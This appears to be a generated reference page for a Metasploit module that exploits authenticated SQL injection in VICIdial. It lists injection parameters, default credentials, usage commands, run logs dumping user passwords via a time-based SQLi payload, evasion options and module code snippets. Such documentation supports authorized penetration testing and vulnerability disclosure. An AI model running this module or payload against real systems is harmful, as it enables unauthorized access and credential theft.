VICIdial Multiple Authenticated SQLi - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/vicidial_multiple_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VICIdial Multiple Authenticated SQLi
Module: auxiliary/scanner/http/vicidial_multiple_sqli
Source code: modules/auxiliary/scanner/http/vicidial_multiple_sqli.rb
Disclosure date: 2022-04-19
Last modification time: 2022-09-21 16:57:18 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-34876, CVE-2022-34877, CVE-2022-34878

This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable). Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter. Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter. Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter. Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter. Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter. VICIdial does not encrypt passwords by default.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/vicidial_multiple_sqli
msf auxiliary(vicidial_multiple_sqli) > show options
    ... show and set options ...
msf auxiliary(vicidial_multiple_sqli) > set RHOSTS ip-range
msf auxiliary(vicidial_multiple_sqli) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(vicidial_multiple_sqli) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(vicidial_multiple_sqli) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(vicidial_multiple_sqli) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).

  • Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter.
  • Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter.
  • Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter.
  • Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter.
  • Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter.
v9.0.3 v10.0.0
List Users - access_recordings method X X
List Users - agent_time_sheet method view reports must be enabled view reports must be enabled
List Users - agentcall_email method X X
List Users - modify_email_accounts method X X
List Users - user_stats method view reports must be enabled view reports must be enabled

VICIdial does not encrypt passwords by default.

VICIBox/VICIdial includes an auto-update mechanism, so be aware for creating vulnerable boxes.

Install

9.0.3 & 10.0.0


  1. Install the following OpenSUSE 10 ISO ViciBox_v9.x86_64-9.0.3.iso or ViciBox_v10.x86_64-10.0.0.iso :
    1. Change the default password (root:vicidial)
    2. Set Timezone, Keyboard Layout, ok the license, and Language
    3. Network settings should autoconfigure (Tested on VMware Fusion). Network settings can be configured with the command yast lan if necessary
  2. Run vicibox-express to initiate the ViciDial Express Installation, everything can be kept as default
  3. Navigate to http://<ip-address>/
    1. Click Administration and login with default credentials username: 6666, password: 1234
    2. Once logged in, Click Continue on to the Initial Setup. Everything can be kept as default.
  4. The complete list of setup instructions can be found by following this link

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/scanner/http/vicidial_multiple_sqli
  3. Do: set username <username>
  4. Do: set password <password>
  5. Do show actions
    1. Select from the list or keep the default
  6. Do: run
  7. The module will exploit the selected SQL injection and return the extracted usernames and passwords

Options


Password

Password for the vicidial instance that corresponds to the username.

Username

Username for the user to login with. Defaults to admin username of 6666.

Scenarios


ViciBox 9.0.3 - List Users - modify_email_accounts method

msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - modify_email_accounts method
action => List Users - modify_email_accounts method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run

[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(TXMlUAF) from (select cast(concat_ws(';',ifnull(user,''),ifnull(pass,'')) as binary) TXMlUAF from vicidial_users limit 3) jUFFwQn)
[*] {SQLi} Encoded to (select group_concat(TXMlUAF) from (select cast(concat_ws(0x3b,ifnull(user,repeat(0x87,0)),ifnull(pass,repeat(0x52,0))) as binary) TXMlUAF from vicidial_users limit 3) jUFFwQn)
[*] {SQLi} Time-based injection: expecting output of length 46
[!] No active DB -- Credential data will not be saved!
[+] Dumped table contents:
vicidial_users
==============

 user  pass
 ----  ----
 6666  notpassword
 VDAD  donotedit
 VDCL  donotedit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ViciBox 9.0.3 - List Users - access_recordings method

msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - access_recordings method
action => List Users - access_recordings method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run

[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============

 user  pass
 ----  ----
 6666  notpassword
 VDAD  donotedit
 VDCL  donotedit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ViciBox 9.0.3 - List Users - agent_time_sheet method

msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agent_time_sheet method
action => List Users - agent_time_sheet method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run

[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============

 user  pass
 ----  ----
 6666  notpassword
 VDAD  donotedit
 VDCL  donotedit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ViciBox 9.0.3 - List Users - agentcall_email method

msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agentcall_email method
action => List Users - agentcall_email method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run

[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============

 user  pass
 ----  ----
 6666  notpassword
 VDAD  donotedit
 VDCL  donotedit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ViciBox 9.0.3 - List Users - user_stats method

msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - user_stats method
action => List Users - user_stats method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run

[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============

 user  pass
 ----  ----
 6666  notpassword
 VDAD  donotedit
 VDCL  donotedit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/vicidial_multiple_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/vicidial_multiple_sqli

msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show info

       Name: VICIdial Multiple Authenticated SQLi
     Module: auxiliary/scanner/http/vicidial_multiple_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-04-19

Provided by:
  h00die

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Available actions:
  Name                                       Description
  ----                                       -----------
  List Users - access_recordings method      Queries username, password for COUNT users
  List Users - agent_time_sheet method       Queries username, password for COUNT users
  List Users - agentcall_email method        Queries username, password for COUNT users
  List Users - modify_email_accounts method  Queries username, password for COUNT users
  List Users - user_stats method             Queries username, password for COUNT users

Check supported:
  No

Basic options:
  Name      Current Setting                        Required  Description
  ----      ---------------                        --------  -----------
  ACTION    List Users - access_recordings method  yes       Valid Password for login
  COUNT     3                                      no        Number of users to enumerate
  PASSWORD                                         yes       Valid Password for login
  Proxies                                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                           yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Me
                                                             tasploit
  RPORT     80                                     yes       The target port (TCP)
  SSL       false                                  no        Negotiate SSL/TLS for outgoing connections
  THREADS   1                                      yes       The number of concurrent threads (max one per host)
  USERNAME  6666                                   yes       Valid Username for login
  VHOST                                            no        HTTP server virtual host

Description:
  This module exploits several authenticated SQL Inject 
  vulnerabilities in VICIdial 2.14b0.5 prior to svn/trunk revision 
  3555 (VICIBox 10.0.0, prior to January 20 is vulnerable). Injection 
  point 1 is on vicidial/admin.php when adding a user, in the 
  modify_email_accounts parameter. Injection point 2 is on 
  vicidial/admin.php when adding a user, in the access_recordings 
  parameter. Injection point 3 is on vicidial/admin.php when adding a 
  user, in the agentcall_email parameter. Injection point 4 is on 
  vicidial/AST_agent_time_sheet.php when adding a user, in the agent 
  parameter. Injection point 5 is on vicidial/user_stats.php when 
  adding a user, in the file_download parameter. VICIdial does not 
  encrypt passwords by default.

References:
  https://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=41300&sid=aacb27a29fefd85265b4d55fe51122af
  https://nvd.nist.gov/vuln/detail/CVE-2022-34876
  https://nvd.nist.gov/vuln/detail/CVE-2022-34877
  https://nvd.nist.gov/vuln/detail/CVE-2022-34878

Module Options


This is a complete list of options available in the scanner/http/vicidial_multiple_sqli auxiliary module:

msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show options

Module options (auxiliary/scanner/http/vicidial_multiple_sqli):

   Name      Current Setting                        Required  Description
   ----      ---------------                        --------  -----------
   ACTION    List Users - access_recordings method  yes       Valid Password for login
   COUNT     3                                      no        Number of users to enumerate
   PASSWORD                                         yes       Valid Password for login
   Proxies                                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                           yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
                                                              etasploit
   RPORT     80                                     yes       The target port (TCP)
   SSL       false                                  no        Negotiate SSL/TLS for outgoing connections
   THREADS   1                                      yes       The number of concurrent threads (max one per host)
   USERNAME  6666                                   yes       Valid Username for login
   VHOST                                            no        HTTP server virtual host

Auxiliary action:

   Name                                   Description
   ----                                   -----------
   List Users - access_recordings method  Queries username, password for COUNT users

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/vicidial_multiple_sqli auxiliary module:

msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show advanced

Module advanced options (auxiliary/scanner/http/vicidial_multiple_sqli):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   ShowProgress             true                                   yes       Display progress messages during a scan
   ShowProgressPercent      10                                     yes       The interval in percent that progress should be shown
   SqliDelay                1.0                                    no        The delay to sleep on time-based blind SQL injections
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   VERBOSE                  false                                  no        Enable detailed status messages
   WORKSPACE                                                       no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/vicidial_multiple_sqli module can do:

msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show actions

Auxiliary actions:

   Name                                       Description
   ----                                       -----------
   List Users - access_recordings method      Queries username, password for COUNT users
   List Users - agent_time_sheet method       Queries username, password for COUNT users
   List Users - agentcall_email method        Queries username, password for COUNT users
   List Users - modify_email_accounts method  Queries username, password for COUNT users
   List Users - user_stats method             Queries username, password for COUNT users

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/vicidial_multiple_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

214:	      'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
215:	      'headers' => basic_auth,
216:	      'vars_post' => data
217:	    })
218:	
219:	    fail_with Failure::Unreachable, 'Connection failed' unless res
220:	  end
221:	
222:	  def run_host(ip)
223:	    res = send_request_cgi({
224:	      'method' => 'GET',

Failed to load website


Here is a relevant code snippet related to the "Failed to load website" error message:

224:	      'method' => 'GET',
225:	      'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
226:	      'headers' => basic_auth
227:	    })
228:	
229:	    fail_with(Failure::Unreachable, 'Failed to load website') unless res
230:	    fail_with(Failure::NoAccess, 'Invalid login/password') if res.code == 401
231:	    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
232:	      d = Rex::Text.rand_text_numeric(4)
233:	      if datastore['ACTION'] == 'List Users - modify_email_accounts method'
234:	        inject_admin_page('modify_email_accounts', payload)

Invalid login/password


Here is a relevant code snippet related to the "Invalid login/password" error message:

225:	      'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
226:	      'headers' => basic_auth
227:	    })
228:	
229:	    fail_with(Failure::Unreachable, 'Failed to load website') unless res
230:	    fail_with(Failure::NoAccess, 'Invalid login/password') if res.code == 401
231:	    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
232:	      d = Rex::Text.rand_text_numeric(4)
233:	      if datastore['ACTION'] == 'List Users - modify_email_accounts method'
234:	        inject_admin_page('modify_email_accounts', payload)
235:	      elsif datastore['ACTION'] == 'List Users - access_recordings method'

<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay.


Here is a relevant code snippet related to the "<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay." error message:

267:	        })
268:	      end
269:	    end
270:	
271:	    unless @sqli.test_vulnerable
272:	      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")
273:	      return
274:	    end
275:	    columns = ['user', 'pass']
276:	
277:	    print_status('Enumerating Usernames and Password Hashes')

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • h00die

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.